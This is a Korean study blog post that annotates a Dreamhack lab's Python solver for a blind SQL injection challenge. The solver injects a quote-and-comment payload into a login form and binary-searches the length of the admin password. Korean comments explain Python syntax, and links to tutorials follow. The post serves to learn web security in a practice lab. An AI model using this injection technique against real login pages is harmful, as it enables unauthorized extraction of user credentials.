(Dreamhack) SQL Injection 공격 코드 분석(패스워드 길이 파악)

공격코드 출처

https://learn.dreamhack.io/175#5

로그인 | Dreamhack

 

---

공격코드

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        """__init__ ← 클래스 기본값 설정하기."""
        """port: str ←매개변수의 형식이 str이라는 것을 나타냄."""
        """-> None ←함수가 None형식을 반환함."""
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods

    def _login(self, userid: str, userpassword: str) -> bool:
    """bool타입 반환 ←문자열 길이의 참, 거짓 여부 판단"""
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        """딕셔너리 형식으로 정리"""
        resp = requests.post(self._login_url, data=login_data)
        """requests.post(URL,data=data) ←POST형식으로 웹페이지 요청"""
        """GET형식으로 웹페이지 요청할때는 requests.get(URL,param=param)"""
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
    """requests.Response ←정확한 답은 찾지 못했지만 응답 결과에 대한 정보를 반환한다."""
        resp = self._login(f"\" or {query}-- ", "hi")
        """f-string 문자열 포매팅. 아래 참조된 링크를 통해 공부하자."""
        """_login 메소드로 값이 넘어갈 때 userid = " or {query}--, userpassword = hi가 들어감."""
        """userpassword는 userid에 있는 --로 인해 아무 의미 없는 값이 됌."""
        return resp


    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
    """_sqli_It_binsearch ←천천히 코드를 읽어보면 이해할 수 있다. 스스로 해보자"""
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            """format함수 ←문자열 포매팅. 아래 참조된 링크를 통해 공부하자."""
            if "hello" in self._sqli(query).text:
            """ in 연산자 ←앞의 값이 있는지 확인. 있다면 TRUE를 반환. 없다면 FALSE를 반환.""" 
                high = mid
            else:
                low = mid
        return mid


    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        """ \"{user}\" ←"를 사용하기위해 \를 사용"""
        """SQL언어  ←LENGHT함수를 통해 문자열 길이를 출력."""
        """{{val}} ←_sqli_lt_binsearch()메소드 내의 format함수를 통해 값이 들어감."""
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len


    def solve(self):
        pw_len = solver._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")


if __name__ == "__main__":
    port = sys.argv[1]
    """sys.argv[1] ←명령 인자의 첫번째 값, sys.argv[0]은 프로그램명임."""
    solver = Solver(port)
    """Solver 클래스에 명령 인자의 첫번째 값(port값) 전달."""
    solver.solve()

---

참조했던 사이트

https://okdolmin.tistory.com/26

파이썬3 함수에서의 화살표

https://writingstudio.tistory.com/entry/%ED%8C%8C%EC%9D%B4%EC%8D%ACPython-%ED%81%B4%EB%9E%98%EC%8A%A4class-%EC%95%88-def-initself-%EC%99%80-self-%EB%93%B1%EC%9D%84-%EC%A0%9C%EB%8C%80%EB%A1%9C-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0

파이썬(Python): 클래스(class) 안 def __init__(self): 와 self 등을 제대로 이해하기

https://dgkim5360.tistory.com/entry/python-requests

Python requests 모듈 간단 정리

https://needneo.tistory.com/95

[Python] 파이썬 명령 인자값 받는 방법 (sys.argv)

https://blockdmask.tistory.com/424

[python] 파이썬 format 함수 (문자열 포매팅 방법 1)

https://www.daleseo.com/python-f-strings/

파이썬의 f-string 사용법

https://blockdmask.tistory.com/547

[python] 파이썬 in, not in 포함 확인 연산